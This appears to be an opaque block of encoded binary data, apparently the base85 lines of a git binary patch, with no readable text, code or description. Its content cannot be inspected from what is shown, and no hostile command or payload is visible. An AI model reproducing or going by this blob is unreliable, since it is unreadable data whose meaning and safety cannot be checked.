z*=Tv6jyQa%G!zgm!qW!z+guohbvleGB01Mc&!O+t9>m0uUYa|)25 z&=Wd@yuJOzJ?&g$G&d(}3zUzTgJqBR+vI4xNmU}vXj7l<{m}pFE1*AbCZaAgoe+aB zP|h58u@v|AB_UNiSmMFF!ZWDB^!7cb-_-8niW?3c=ZC>pE3n$_SQK^!wl}M)@1HFv z;x|2=v>$0xm*~8I{r*|uEL0Mll8?NkI?n^SYHO8C0x0_4=*iBR~8{vKREKCx^5?=$IOSC z5dy+ohciP|!v_alxr&aJ{T?~{W8a&O_LQ;6U@IIMGT15{JTn&ePMD7D04Nxzv#NY5+xxC+GyYc$?bXlBtzx7Yx^=INK>_Ymc$TWf}zT;!w-_{cQ2^Qai+=Thi z#nG92GJs(4iCf+2eKgPzws!<-z{e;X!nR3j4ix7B633ZhiRJrATzw3LEyfZ@%S+xt zLhIKAB=*E7`jYH`odf-h&61_S40c8F=vf zs_yPQsI;w5M|?U|t{Bqy7;omh0^QlSKbHbHUGNDr>wh0RCG*4CufN0Ad7DxTE@C~q z__#vUNhoxZXaohB$97v~?0JBY7CvCCHKk7}oI(GNM|}LXCee$2Ph6b>;%MP7YE}0$ z3wIrseJUROrvG3y7+h@(8_hl5PvS8vVUJN*g-ZQYXnY*3;De7gwoKXChtRcSfREC! zbcfdT!HMe#3yL0LWi1=iXNFVQI7;|@PD#J3d<>_br@+2GfA@(&&A@{L@j>MtqrREx zWusuh5^1gI5IVgpPJQDc0;b-rx+*G z^w!rU1)uNi@wkeR)0gHiUp7dg>#i2o65MjK+ZvkYr&P@7=`4v2O}Quj<~m2?)m!1o z1FyYu+gl&T>d7|J_l>aCWExm>gQ^XP(DbIt=_lX4{Sl*JnK8a%S(BB>JlN%c$g4c{ zNBxpti}6FFCWDZ0l9al^sC(39*R>w&t@3(gUp?krbD5>_D)^Mk`D1VK*ki$91vTt? z@@i!FaeFM*%3re$&PeK*lALE!F`ya-StcQeQysd|g}rJmQBh1v;A3LR%p4KY=|1(Pbj z9cc`GG(^n>!_xzSns_@INHx)BF9$lcB}r#EPaT(#Yus^0&BlM*>IBS4^ie#sCZ2f| zGqd&WN!M>4Pr0|~Z+GTP%>3y9naELqFJs2*s1cP%+NS%;zD_-{>!OenPxF;6XV+H3 zYp(=^@&+(#=PnNjwVHS%K>haTmpVS{>=KIB%BQ{=T``#aAq~-BygEKe%(6Wx)0`MQg;RIzA^dD#|A9=T$5ii?7GDIG;8fZVxX70cG^DkC=G(oWXZQ3ywC7szLdDF%f6i zUD)qv7)w0?kD}LLZ4MMlPpBawg!jkiir2+w>a;)#p7FQ&RU0R{+Um_GQX z=w}Cx6x zH?>a^T9?(Wl~0=(3CTWWFTjC3(Lk`&rk$8ys3+O$F0OHLRA`y0@yhpQp|c9%Or9q; zCJ!5v0VzH0;D(EvTpScya&wLMfZd}n60g1v{K1RE^Kn5rM{o8Fm}d^%LBvT67I$Toe;AfaYUe7~oA`jC#W`HE-)@LnYAQNIQDBu>SfU zF*$aOWNXY`R;GJ7Dzhl%|$DN|B#022NT#2dVl(dz3m z6G!8N%P8z97)l05rqhh~haKNE!fy&bw~h$M%i@#nQz9Zh&Dy78jD3kGIP5fP=sWD6 zv?yTi?azfAq>2xV9@}P@@QfdQ5qA*iINQSq)V2m?ryOyPW%TAY?|8~ZWocBn7B9vC zQPyr^QnZrg0T+c)X}QL7jWuryTj9V6KSi1uez@j%imtW{@EG3J-w~hS z5e9IZnhUISMoHDeHOunPHH}Ni1IMb1rX-(#jF3CTPJ?NTg9Le=UYM0sHGWXoM!STr zwemN+E1*q{5RSzZ2D0h^20;(*u49Bg^qbJfE`rXdV8)Fh(giXSjA|~>)wu1nLxH6f-wtUGh2^N_*+UvPrO3Q`lONs1O<6|NtZJ3q zzHbr|$ZLbV8-*H$$%Roq*w8z@d$0}S`nMW&2w_M6KZY(*rQH^;(*Gg~R?a#uQC=P!|yaCMKwbtX##jIuw zkHW@Tj{D78+igX`!ickTAO7GGCf|G`wyjkACMXSg;;;HnWC8G(^&3hXOgCp=TYXUs zaod%KKvxsNw+&V^`u^7=c|2b;3*s(9E7#(iKb{OhaSNU?DaNSTSxHjXqnEBveW>M8 zfmbuw`uUE3D8J4~3gy%v1rZJUkZIsqnIzL>3=|y_aRJX*_<@O;^nT2NMeLG4uKts> zz#e(c)p*s)513E%JrjF$5rC3!2vKfu%pq-Z`FiEF7dM?|Uq$y`R%fZYCuJk@JU7WW{Xo?jWdLRC-zZVm~v3ZK~ zG?k7m?~=XSqc2>56Hv&8L6X5(5(kVdF%wW$)?(G?EF7k)D8BQ-0b(ECpCCDQ$ub#A z><8H$e~DNsi21uLD{H5uTzDvBuuoVLZ`rjN$5ewrbMf0{h_}8HB(}b-m@FoLTgX6R zsiI}ZLK#&r-wVYLGuP;E$Nbjt%=Z1qJ&3;uAW;4n3Ag5Y^NDoTRfi9}=Sgv=iP!&o zKBWFRj79bUL|eomx`mUnMx<28saSJ7iAEPiaLepVPt zXyAw2=3Q?pIY`uoRpWXJID!d*4HahFigqsIr3g#1EVtD#cJxRTTP{bUb9ii;LOxae zu>CEmK>R+w$fU1*aJXljy9R42PL8#BF0L-@CTqMp!|yI)hPE+DK*HnUgtGlw*Pk}q z4sf!=e=9-bY{Vz`a`PRmfi!?QTGgz1PlZa!Z(@UD%rJXcz51@Qr+FCQd2FRGJFpW8S9Xi*$tJ3H?*&Co;i4+gVbilU1ulE{Ad-rqtwdy+8{$eH0hLL z;e@e)-WF!{N7f%s{nDlHSKMQ*8ln?>2s#>_`4vafUSY!d{;~G`jg-3e8EE^zJpo~j z)4KC;1d3A@o4mUTCaV~kS#eVViDn}GaX{WK%+h`zff=O{ky06m4CDR!zF_CKLLgx&F{ zP2CBVPAR)5zp^pJbUREhXrF_%YoM4H$^AS9FTIgq_Oj2?P1LUg#5l#jvZO?Ea9dUV zbJMiPYN>{V`#g(J{)hCg0ms1uH#FR%&-r@H7>2gZ=}{Yin71Yk7jBQI!{hHKFCz`^ zIC*jNJ2ml?0dx~|Cb<4z|MF3|YQ^*>zC$;KxA83W)j*~<&8p^(Ge)D`@ZN#4T(5C7 zD*OCPe5c_OOc{{V7k0_#8Jz2_gPEYfGMH49PVCtv7!p#FIOLz&vJO6%Fi|*qi1Q@!| z%@LgW-eKWL+(22$(EozMO<7oL(culy~ykZX1 zF}l~j8Ky0Nxz<@_I<`CCTRgH>O}uabeGS`Uu$j$z=rq9UNpq8Jk4y17U)DG?a&|j= zj|*rRK|Rqc-w(|u-tB(iG>v_lyI5YD&hCuWB?27$K7v~70ivG4x}IMjd;l&}`vbxo z^Ek-plWzA!j8@+Lc`w7KBICcYkk@=pJ4amU!S6dkZ%*q+?s2HrKR$qW>A0@m@mnFz z>R9hoUf1di+F3i9_GRRyE5#;?8jc3$`n6bjZ-#jKZup?SoSykipq1m>c47<4F=HDpe4?o?qcbpjtxPXbZ@EKFkOcFv^KCN z@I3Zux;i80B$js;I8Nl@E5%8iL^4Oi>!SIt<~vbjYNy`){lBW$lSK84$*XzOP#8XZ zcU4JaZ<*#i#`rf%+-*apct4)z-Zc*Fz%rGmg{I37MOPE}GW7LFp>G|+>pJB%Rf?C+@Cqm1XR=<%t&qk|B+rTd;eSEf8zfQs6+v|KeA%)I z^?_gE_zl>F6Mv;RTjYIt2g-*w(2WKbz5G%a09T!i;U zX!`^lHVhw=xVi;E^!@~=j%3fnHVv~v8lyRQOS;~cbuX@RQ0HmS z`)*Taz!d{+Vf51z9K@Lqkwhl>`kh&iw~z&+yW*cm!403(Y}d+1otDhSZ3z?CLlZej z>@|B3l9^$5&0KRogQU9~9jY&dNKs`oKkt*T-O3E#yUZYKj5IQ=Jq(j4Ucd8Uz?fBNW5^2 z_R^5zaar9R_SvC(++C&YG6~kY9k-rG0n_k@uZqr4Nz9RuwEUNouZj*sN7V!XGHQ#Z z%N>@^9~#<}fhB^?KlNZop?flNBBIhmhoU?_AEip?c16}tUd?%QKhlx=9&GuyE3jCL-Brk{a1f&AkvzV7rKS8GHR zl;?BIdAba02UWK(ZDn_{nRmoH4uz|4BXc{S&BSHSFw5*9lytBi#%W zy^C;m36C4Cv0}BRmit78u9WVd_q{V(8g(glMCEYqGjV=_cz>Om*lB=4JrG92v)#v#!N!%dz(AB%)Q@ocC>=DT8#q=3-S* zCUajEt07PL?geG?D0E|&{dXp!`L%)#067g-_kR7HMIJS=y;ijWdd2|8=n$ot4$Y;E zP}W0JK4 z>I0C>wIvSXP{u{xH2+b3T#5?7_D{pH=n{GD9A|O=tgnZL3_3ccDx#E8RHdU(Jdn!6 zq~rSjNZoukr2Dn;Hw{5N>S?ZJe3t@NY1O?odNGKv1erwBs@#7r6?Sf5?4L6a!l^9$ zWx;r2Q@^j)!nT1_G#d&N-w&#r`8dEP_$8jC;Z5Rv*WyA%pX$d8(OqN8Zpqb1@trZU z6Z??O`D^`X_#1R(Q^=#MavA|vvCNsRCZTR>JlU*Yhw}yP4#0oI%kIxgjLTiA`p+g5 z;ENNLJ;!yO?^Ax08T$u>V6YnPif-PHC-wX?MNAE#O~3*8@?Wp~p;#M4G%d5kjF1c` z)U)Qc0vL}ia;td$cy-!&XOi38hGVzFj-Fr+aB(wEJs zMG-b8+JJ-g=DAF+adhYO0m$gNI_c<4j9-9J4<=L zG}H0R9>!oBa^$Umqq5)}qv*|XUF%0W5d&c`%}ZH{sIGDFPvq(u`C_Nx`8PBK1r|!i;MSyIqcww9kpln=Y3<@ND=f+GkS$II`jT4Ndq6~Y}C63r_Eqx z{q?zfb5FWYCDwdk8G=v;>3X*}sfqs{K+EB!48Q*6e%tNR0uX{8wb&MCTTgK`r{lId zCMux(^|0EP<4U1dADLQ;nK&PGXN(kT_J%>o^IFyPn=kjPql0I_)t7B~l%asRix%m? zOqOo!OzC>@P!V)a0)ENAas7^2m`T14FT{g`TGQ=^q3s9wRr}-NZT2yxkUN}T zvx(r#e{8LLae;#(&)}qo3CWzWU$a_wPnAJEPoZ%684Rg~eI;>Q9^ZTlqPua`LB&)h zM4O^ce6qJ^n%#tOoYXP3hV083+h-5rg}?9duBjd@F?Q-F7vYjYR3P}bD6Q0eE(rwO zZP={#j9F#Z<#>F~8jgBCFvzX}2v3x_LF47;QTC93?^zXHHTU2_ECO#YWYk9PBdD6i zphrCVHWP<9_s$JLv{DYcIjh1MrltY zvcsQ|v@93TS;`VS*VE*T6cw1f5++1k9r3)+MzRPz^|{UFJ>n~`m>3^q0T}3s?+&PC zxKC!!1us*nNX;XQsBxi6e?8+^5VzsvVu-@IfSAI7ubPi+X5y(h0dq*)XwmO4AF07mPP;-V?!QINWtmh_?8Fnc-tpJ4Kv3fU5})%gf6(<Y_628p2 z1M7*F!clF+m2XV%8b%+UurJG69T~6G=c_!*4sB$P8ybCLoP=&1d!V$({5GShz50a* zplrH26D8nA#H%eV@jp%hfW7(6%5=>jU}>EaDvxqhdSQ_o;E0~T)CokhYPC%QF# z_;7k4vvin^eq3x}=Q3txNk6YjsM?0$izFj>1LW%5^W+J`HT*YoG|EmRqS@xiHwNmVsc^E2yAygS zYzD#m4v@zgMEMEN?cH;R!erED-3@xTQ5YN`r`J3R>a+}FYINfQBj`|iuqtj;6F(im zT>&bdsvsv?J-lclUeb6i_(S>P`|ybL19_qo=6R`g!hto8GQ`Sa*TkNCk(-`6OG#5NmqAIS>xf8V=vlJ;QCY|D3_laA2 z-2J|f?qjSS%F!1h_cmE5K7gPfZDW)(1}YO90==V80D2Eg4}CQy=WuuzFSQRqRd0{M zqlhtp4w8)o!x@Y{ka^slNpznG;l8f@pV+uOE0b5LbCEQhvgI0lMFC?ZO3VZ$ zdR~35++mBw_;h!zUKWyt+?b{dgIfPBu)yEYMhVRx7qn0Agfu&VVT=!z302leW+mXx zCn>uc;s7l1@*w=N;(J*zA#D9ax?UCp)}v5G@eGdZ=7hU5mF<%X5UMf|k0}pnO%EDQ z8vu{VuGF6i?x0F=XqgQ?BF|*V+eyBv)@UevG>C`505YnRPMzGz22({qFfIWa9zpjE zKE|ak!Y6~`_5d^=^26C8bN7y^K$|K!2jbNWZ7VZ4=m)rh;LeredG<`#k*9@?*s%l8 z(GIn9-2lNM=;wD|Wi}j&0FqjrbH_SFD$W|#nmDV^)9!qSza7iv!~#+Qq{@ko z!Aev(n8b71B+rtam83S}WnQWqfSRA-A>W~s_HBRwzW+y!ER=5kx4^vsU-sCeISExp z;FTISp7ZjPDqjF2!Y8@a`pqEi8Ou8yIrPw71G5tK*3sJ+;$~9~DVgX=kbI1*)h3Sh z-1>s{;4O%HH}muJlOOTat>2lpZF>%^|Yzi`(#rq>Rq zV?gw#KEr&m1H<(Y!>Oj{SrgXmG6(ChE4YGql z%I~mQhw5D=yfe^yoK1Z6cI1T_x9I(YwwY`O(i!AWKnQ2Pi(Q1>gLuIJSFg0=jhpb= z=qKzzSsnii2AJfuf+2WWc*OO-Xd#lDL~HlZ;Dt+K`SE+?o ziHAtHtOGo`nm#%Jo(P|O=pN{?8x1qcQML(@61Bl1c92_3!lFnoU$Tg2@vBrWO2dl` z`-=P~*pm_)9il%uF^kluuhV;oask_PW97V<@Gcw?*iS-Y)!6*8()2T+-CW2Ck|n#8 z1@9rBu+sVBk0W6DuBJKz!$3zaL z0wrGOpPmO@ncdkX_36mi=$u!mROd*LK_%w|ix%=M;yQ~>+^5S>Um)S?48KyGYR?q^ zl!ebI7K|S*B~G+Q`EX`br2KyQH=W1Kq4V6Ac?8T5`5e!AosjAr2GhId*y>NL7|zU% z|G#CUIQ%QTiOGk&55I-6X2TBr@p}b!{$0>j(L{mJ0clbCD)Ny8jog13XMy>}YT`-K zEttOoN6Ce))|^Ff#x7E_DSqNE1b_2{T4v2wU+kS0S#k4M=zRWyI{6gj&5E^s$K}Dv zhTFv3?m~(%>;3gbE#@SdVxP3TyiV^4x&s`3YSJi{Ti9Eou|nGqFey9+wec7GOQhY* z-t>VgE=rc`Jj|I+iMRJ=GF*oOc$J zii~}-N#H9qlZl*uWD&eak!sO-%(RS|yY!@#SH<(`CU8Ozv$-+h75%VVp5bM2cZ@U_ zzKujTk-~w=dn8XrCsa95mH@2X(!JlTr9Ws$4V9EX9`d{y{*YS_8(&l*< zJ5e3P<;WABmzr-7nq&r0Bcl^+cT<*t#od!9wV3QY$bgl(D+rQvOdQAircg@Vz0T4Q zx%2({7Qhvah#Vr!Sm`9M{s)Nu)CUPN2^77@ayW0KDBqLH2>qr|z$CrD6$sAcJ zq;9N4#_)oQYxya=lF4)>cPtZZ_fTuW3To;T&-jzh0J{>8+W)e60sR3qX=)b2Uc^5* z{B;A#AKp20CcMa&&^ddT!*>t{$V4iDa9dv9%Kl9_BM{C&+W06)vFJD9Mq}YZ;PSXn zI=>4y8idd#}~*+t}Y#p8w-0jF;gIf;}s|)XeRL3z~0zFJ~O>~2~pHkX#Y2x{5;)!;yS%k;iS5oLbPD@95M z+C-e6(r?~>>a^;+N!@k!P6o#|1jm*&*G+9_3U_wEuRmhEZc53(_YFDMJdIr#-e&Gm zzc$53J5vw9H;+1ju&Moog+IIEeG?oIA8+Ttd%I#btg^F;qEcTrFQVh{R{jo;zeySZ z?7bF4GvNanjx4BWZ|d*7MyWV?r=>kYvKX11RngIfOnJdRN#CiuX1kAkANuGulAcR$ zgqlr3_^%#u;FX-Y=K22q=>rISBGV9EFkX=3!_^IUpF5O&3Vu))IVL%8$s2;Bagr2< zy`5ItybE^t1Jw3C30|W7ZVsP2uhOrM!0!vgtqWxb+Yd-m+*nkM zQ$hB_R~CnRO_zz&80KuC0sYlbrd(j}LKAwUUImJVNT?eT9`T#v_}XT|DwzhTS_Q$4 zY$?J%#&Z=$i=8!*Eq=}n=Z#E7%ieCP+8}%@`X@VYC7UkZ3mndBC3pVHrmg1ctIPcr3tu>IMM*&`qIO^F0|y(0YQ%ES!^->4pY zpnWO(Du5m0=Mm$TBh?P?FUpgB;uc%&eUHm(_9Od1SL`E=zf8?{P5yn0ao*zn9skGL zn+HPqeGkCbQrV)S_-LUO$yT%~(?@$q*(SnB36m_@l_ru(q7t&yv>*&kg=}dkS|k#q zCNw2WiIkM0de1YNndkBO{@#Dy_x_{q+``!T!{pTq2Kd!<9>$shz9t zUxCl01ckJy*f(JscYc@wcm8LUlMez-;sw7U*v~@CVAG70|AR|^vG0RvTw~~C z{8{DrC|p#}*W2%>1pv{Ef}#(t$4(dcC3Z(|;@u>X!DE#1flW)lZ}}XECky)XC8ak- zY#8pS4n9oA*-JFY0$d=C2JMg1Xk3s=SAENV+H3gn_5DLiGurg<9HebAc`v)11^EzJ zcOwP^^l?g$E*3VglygC$a6$a{;-|kX44>lZ!rj#At2mvjR<7KaZ6nX00Q~iu9q{b% zU6|d)s-lZ;KiBY9Z6m)oci9!6m4zFwp;hj3pCt(J%x1Qjj#GwI8rs^m*Jt24#7fl; zsCTS^*JCYc^y2Dp7*{6Czy!wu|~XZM!B-SOUh72U#|u{^jw8huP}ZRGG9ItjbKGE!7kdJB!)#i{1EHGccK@N40(s(j1R@8vS)I_1ii^FvuG za)-w7&Mrrq#Gch?2^u$l4mmt{v_PIOYW9DT@+?Pms#ZS6DRi{`e7b`7gPEK z`(kN1OSl++?wCqfB+<&ybuEhJKu%7q z--Dm<{AXz;Ur3h#hiii(p~u!U@q{`j`TnV)xoWv`T=%whJ-T)FRA$T+qT{Nov3Fe0nflHOxSLi!QDnMN7=1 z-2{%Pwl&LrUP`c4>r(3NgXt5X%VuI1$$2y%=rWM#!6|d^9CJDU_Vq-vjMczgZ z%$z~61Fj8my=<}bAigtI*rRkky0|&>`ve&Up#6EEz1|EXyxx-9La(m)Mye90#@?mi zln5RXNkm`fk;6|$@BgC^a|@3OH)DS>Rc;r!pde|yAECV#mnW40q)f{L7x9CjyUT)h zkN*N@>HzlOkg&84xQIT4yb%laG1Epc4t=@WEqBH(1aW_IU#`R0FpPjf%)iCqa=XAG z|2Qw}V1u(7wAvlLty^4Zr4nq_*_j`|-N12?)@|ajJskT*XC~2eBAcS-a!|+v@S8j+ zWL4WCysFTWhjm&Wja#S+6A;IH2$p@Aq^ew)!9y12;s{m<_4>@{{9W=71#)LRG$wHQ zz@uzQtop_FVEZ0|8V{baD83^15x({qB2sp(xI7Ce%e>;<8yVizD5M~wXk_@>sJwt& z65l4{0}K=;HIMd7f=yA&e9=o_M%0JWn`4J2GRkG&Mt+((<2qrcR;B4BLo5&nW{k!t z8f6zYzXYf8N}f?(we3>R6`YAg-AMow`$blzbQFFbK=bKL$S{$ zUsw|;w0C|YDgf3;U!65XFpV!7UTRXA)613jswLuxfcz(#pjQ(ZD z@G%P*I($x&O_@qCjm&I{C>g#(u#T7dNKht zLXM2Ts}e9;Sgy?ICRmKv$pOEd)`l67A1(cEObj;B%`aLlKgL;uI1LcQi4-3uNtq6P zR?p8_fwz#P_~n4oazN=65hYt)kp+-eR=S^nl0rG4BwDV#Kt1%@jJKcN@rG0V-wj%b z34VG3^#n0wBTX#6=Q#4)oXL%=w&4hD9{&hHLSD!PgNH}achi115krcYGzgSvY3|?M z+P^*5_CHo$06HptFmaTUZUb{L1>BMjk(8Dg-UtTiTRnP^&T|H2_)e>g)jhJE%^Sje zGLS`4lFg+$$Pvwe?GEL`Hj7xl#Hn5x-n}Yqgs2=@wx=YCaAm^`3LOb@X9-5H7vydQ zQG~KO&KVSfnd+4%Xqc7sJb2%p&0R+vdS2k}@x8#?S7Y#|f+Qa%$%U+Bg@+01OVI)yXhUlzSE|s06v<44+O`!@?xv5h}Hzg);kc?st}p*u{%zA+%+K5 z6cd6RETntW;Yo=sSeZE!7nNwCmsyUO6S7S87PBy)M%mp)o&tMv&mPi6Y2+D@n%=mIH3a!spUrII=^jB zAJ_BpT93^0;Y*Mk_c`P%>vYBu$sSaaC#T~=2Mgt{K)^vkHIc@VU|)NT`LX4AuY|^Q zZIc#h1d=5actuw&7jFPw8T^-5>YEdiB(4Fkl8C$-BQ=jc1qd0t=`E30qN%_uEpckY zPJ+6cGhql4bKPfN3{O}^lggiFo~B)vWM5lN>~feQx(PJK72=RlI@a(e#a2>1o)TSe zN?`B&%jf8>VFoA8op3U$z)1?pbRMt^eE!^!<3t~dCKu&R0y08c+f7plWV8hB*e1zV zum3L@Cx6(sLZoscW9xh){1FtXW~{vVta9bbfBv&#LX%gd9Thz>i+p7b+&>o<+E`b0 z^;4AS%P05$QHt3^VAl9RGp#WS#>{nYM1edC0tpEbE0sEb&zv!;%d(7g(Gy^N=8PJ} zZN56ByEMubj*L*yb4zoXa^L;@A*H&h{Tz6tvFow)yiyq2c1MQ_d}&klIZyT&|%8tss))He-@vxD`*}z8N)RUQS}1&Q2J$%3>Xw z_Mk}R3F(wL^&JGSxWWa?^=<=moj-``s6{MI&M&i^#*kn?1k;1-!paDfd>BoMX7JcZ zPzbcjZ+2_rA{7yJGG+grGVM=rh(0V0t ziI19l;*`g~I7f+|Mzo-V3!}%D$TMza|2IfuC8RzmI;1NWGKq2HHX$fMQJ)_xmrP>3 zSw8_c8Tt&{@&0qk&P#afZCgAAD0&YX_Of7>A2;5R#&uyD){HHg$hZ-OZQK$!_)yeP zJZJoi6iW0R8G=zD*HA>isgj-dgLK>{?tRc2Q!MU@Bm=&Yk8tZwgtDJ|F_)DqhbR$* znOR&ezSoplm0neJceu`vVBX303AVB?PEw+Cew@ZFZ_$gV6w!h?WamY^?L)#I7D`^0 zmM*q3a{Z-}2`fpQ%7ER+YPlB#6N6qZP45u1hPj(wIEE+v!d}fm{pTT4eqHc;y9OlF9vT4kYc#x;QVrB$AwRSwMSmVA8#Pi zXH0yauxwzUEFy;+6HTz{!dFYb#}K#75M4Q=;UvpmoO&Q)=M!}I-G6GgOlCb`Xpw^Kpbn4!6+ZZj5z zG?(5nqcEOo!pae+4&J~6;;syrECgGZ{69$F*u8DDsEs_sJDUio280{poE;u1Lk|KC z@%!0`{!eYD#$i~S6;=}BELw-mJg#k+!Ehmt9;i%#9l4XeQC@voN3L^$P%r-`MBl^l8LrFD)ab?j^9y!EojR3F_BG8vwrQ!8?^- z`34Tfo<1VD2JXqdqN`?++f>rh{ZGnw{XoLaioJ^01b zodjhpW9Cg6;~>Ef)FIB^^YJ_`L`I)h61Gxlp7odej#8o()6(1gT?q2tXS$!djSKSL zq>#g>2KIM2ZeE09n1O?xDZZ8^=e8{n5Z#`s;koA~0a+t`$iE24n%^Xl?{1!kAqe!( zVosa?6ynGi{>N%6g&LK~=S&Ub2WOK$;cV2nYdhFXDK}m?mDmk=GrVo0i;RPSD&P}tu zS3wb{IzJ{(`0-82s@deJ&)xCULb)dQ7OIwWD4R?(B3BU%0ZlX6uDXIGPHp@A5RXvd zWUXodFQ#FzGVq-MA^1mg9VcnZ*qP+19}j!peI!Hp>0##X&m!rECD>JOz3~x-7d0s! zYR7^^Hjk3XeS6(Jq{SvMqK%JZH~;yCb;s2X8)Q9^N&!HnvE>}}KM0aK&9?1dudsZ* zT?FIdwdbYyXJ8OBi4Pk4OIz{0P=>^uvLo|-?I_9i+OwZ(FJZ!*;z%5N#c9(C$rP;9i0i9>74ib+(XiuNyM9)O!w$q5l&Ub#Y>R8Yl zf|>gsZ#p5IqD9;Gyf~E@&-%K%N6VzjGb*`ycm=6j5p9CP42bc@H_~i*8YO3ck3}TW z@OCvf*#5J89=ZGC`jMNwJQ|Y}Y|lTHWE=j=r#SZag>;Tdr#N*w_2N>(;Wi>ou%Nnh z#ZhuRXF$dtVR`220-*Z`g*9-^Zj1gRc-zS@>mbLAXgFwYA2_AB6+u4_9RHqD)t`O@fo@;Ya+2*k8IOuX6s)6x{=h2+Upnxj^3l&X}zg z*Q(=t+EF1N&-CQ>$P7M$2X^M<|G9Jes8wmYf0Dh z49-np{NR0m#0Nuq&#SbeEZZK)d+3V)16uB9t2|Xojhr2BM6g76p1**@>W*3hWew`E zO6$UQ%Quha2tdF;x|-eGJk%2@IR}0dY(d{ycDh%X!J%3B#@8aS%KR`bHL1VPjR}7I z^C?e%iNYqP_2NTVQdB`1OzlXggyr9iAVk-|>EY!KM;Wgcr?v+XK@~<#$$$~Q92iwy z4I@NRa#X7&D@H-G*WP^Ac&0dYw8dY*u< z;X4nv{pw&irfo9A&pYtc;*1GErz1p?TL8&b$(oTT2*PsVN{z-5N)ECxGx|M2?JOP+ zEh8m>TonhZyymO$g{(``K}(!zHK{r?wFYQgEqd*)dAbQle}ykL!jxOR!H}smHT` z=HVJ3JBz%6756+Q!idP7y>IjM4L_PN{ZA6-_QF!B{I@vuf%zUhI;;YH!*LTBJ$oO& zUv4y($OhB#o2&1^-rSHhQ8et2O#HZ+S#bB$Is$h}0+)mxlw|wsxBFgDQ6z%0Z;nro zOqF1NOM6I|$3eGX|2gDWHcAA|`Z)h2#V9QQV5T0vn&OyrVLHHH*sjpuwu=yRGP9r8 ze`AW3b3)??`vP7v9<{K)H#AD*jbQ@D%z|)@4DZk#MDECXZ&y}q|3sJK(QMe)S^mtOWszIm)U1CQf}dilDQOOxz0uUD-Gn zKV;nM?pu20oTKR}x&6+%1P`HJ!PGa}yM|eiL*%jgCZ%$JfbTO4zsH9jU;gnjmf|tn z!mRU$H__LqKlX4t^nyn5SV5FK^Q*dH9un+=HhonBP8)}AO)Tg5R}d^DeS?!YTqN+I z{0||THGZ?${l|dQD9T-qn8*OiMUOH&m)&TKfpS$f!~tBD>Ek8X){EP(G6?b`<$9Q{ zMz(V#%8%vDlN9@~{DI8*c=@5r+S1`hgS9?pW{Gx!E_JV7{KlkmPO-u{{B+F~P3umG zQ@f>zT+cc(k+GiXvWx(IkCS-!L`Kf8$L}BPyg(GHEFW8rD%@PKt1TgzM$);w)tb;p z?IeCsl%=qaDO=8wN>6#(-?oz==;mqF^%9?Fm2;M-42$79(Td%UU<0flMF_2vT)!}b zY63A`kHD5+$g}_90j;LSTOU)DU^^%hHQQ8Tc3?E6W)j|TAft$hrR$jAibsk5Jl6<^ zIpmP?IEzF=^E~54UzN)_)YfPm+6X0G{wMe_rN@9MeRXlVVV#of3;)ZMr0o%qG{o>RuiI}0M5J+5i)yeHxU@WC)*(jXy zbi*DV99Uolibj- z{0GfM@hiTp5lo}>m|2)P;TNp%C9%gdxEk{PmL(p=I-tOi1be|`d}Ut|ud-Jca|KI? zu0XpbzUr8c1iM$BC}j51vj>wXH4E`dg&hCy${uN+InyH;#xBlox9GtmlpZRPd8{Ql z&l1F`@dQOE+@e$tE0_OSc`*@NB@ja>bgR04+GoYE{90mAiSA0w9$W#`C7|A`xULV5 zd#dqjikfv!azBYv59$5aN1{;g?VQ=GRLMgnM5E3Xa}rmPXKcscpF&){|GV-a*kMB> zZDMqLfO}Ja!*CR($9WWG)NXa;@b&j_dDy#VkIg7R z@)Z)HlNi5@D+zLBXq=okf$?iL5%<76l}I13v+Sm#LtD6 z^Od7J5bV_BPS9rBc)ypr1ImnugZMBXEml|=nun!)!j}YmggXbBqd>p%a>@}~5`sPFAt)c|CGnZr6pzOm zAD0R$;UCO|)}-`SZH9dgvHD7G(mcp!fGaGB7{^NwjmK4?kLtlcU+fFZ*U0FHc`U*I z#Ju9xtt)^qd_j=5a_{0EqSI`9wJ=Xs~P;m9830uD+TQpwwu#a zs(yIiY{FGTLNv3@Z4IRk+KhYDr2~?*ioon~A1-@iX*h5NB6N0a@EFe^fHsR=oUD01aVM23(gcaZzxfe&0^{L5t1qE-?+ z*B$6?@P)Ay{FQJ`k^0*18jEg4cCIzCdc*S?xHpM!iLHiCMEt_<*&wM&T8DPrD(7Gp zK<1kwzPb8CX5JQ4_a7CU#$Ez;W84c4x-TP3hY*4T1$EnBx}(_ft-T^ig^0uCu>2&G zWvQJHD4uxo(nKM`Z%ncNkAlWA9*xav1O?T^<7Uou{d@(>>4YmUE=p5F7vL%o%}Rpp z&Wj$x4-#j+c!8Fsg>5ObgUC1Y@DAH+Q^NC^8F(E?|U(QD;>-n~+jr9?5e8q2y{WYImo}@yc4R-!+L_nQ2 z9|l&y_reC=v=CbXo#nlUE%$lutL z`G-i-<(!%s1X&+{t?XRZa&RfdoYi=s^vU^4Eb<-6Q*%`D)pfBqIufq0Bx4!waK-hw zGiCo))?sIk>`#_f;6s*<4{-yhJyF#B>$(n!`FHuMtO4e=j2z?O-c;= zo>5Id*k&n*=SQt1n3d(`_M5G&{%hmwqB%)f9BoE4JXMJ+T@T66tJzZ+SQa*1`FcMh ze|+>eg2m)Dl_EN@#|G@LH}l6(m*C%s!JdK4O3z9H>*1DXhl7epp6>41?#0Z-wp#dV zy0NpCj;#fA$~S@{cbPYQxjf2?#(6N>*AhOSLumI@YS6Q!u>9mZ1YKBeX=-P+7AT?5 zAs9ls4XmM*TW`fnQ?J0&vAD9_Kj+QdKedGGZRiASwLEhr7%keVXoJ$LM7N0AAq2YZ zM1Z$<7vs%bswCU&o8+KQNWj_V#b?q*lw1Nm2PB`YI{Z>iH>7-^P_byn57B9jl1EpS zKMWFeuZb>wy4FHX>AkpdD*chXD{WTR$R4`Fj$J58;8L&?PlL?zKCRLwblt zY0#dXn!Q(=T3xfVqm^LA1_PD_T=%)aT>1PfmdEv_91A59aT z=R1txIXHYf(p{7NzbMPF`Ax;w(~KS!gq+*&)N^i#pmy9XH+vj*ZztRBo3j5qK~Gst z?VR$*eifYacEldZH$PI^ZGmTw_yJIvMzySUZbW`2Q8Bs6>B~aZNAdml`HsO$K3a^L zW*q{I*KxbYX*N}GG`|z<0Bgzam*tOhnFY-YOo%>v@bI(}vd*F>@1Nv=9=!Io_*4>n z@P{XS|Ef}!Ax3Itw{x&}(r#L(YW(Wy>&bICcl)vkB$gX$O*uDBn!5ixtjK2jsW*9i zUN6#fJ3nS-%L$%EH&Z*Br>XD+vKq_f-W@p9aCT1Cy`twj)&qC%VxR5K*3(%SLQ2MX 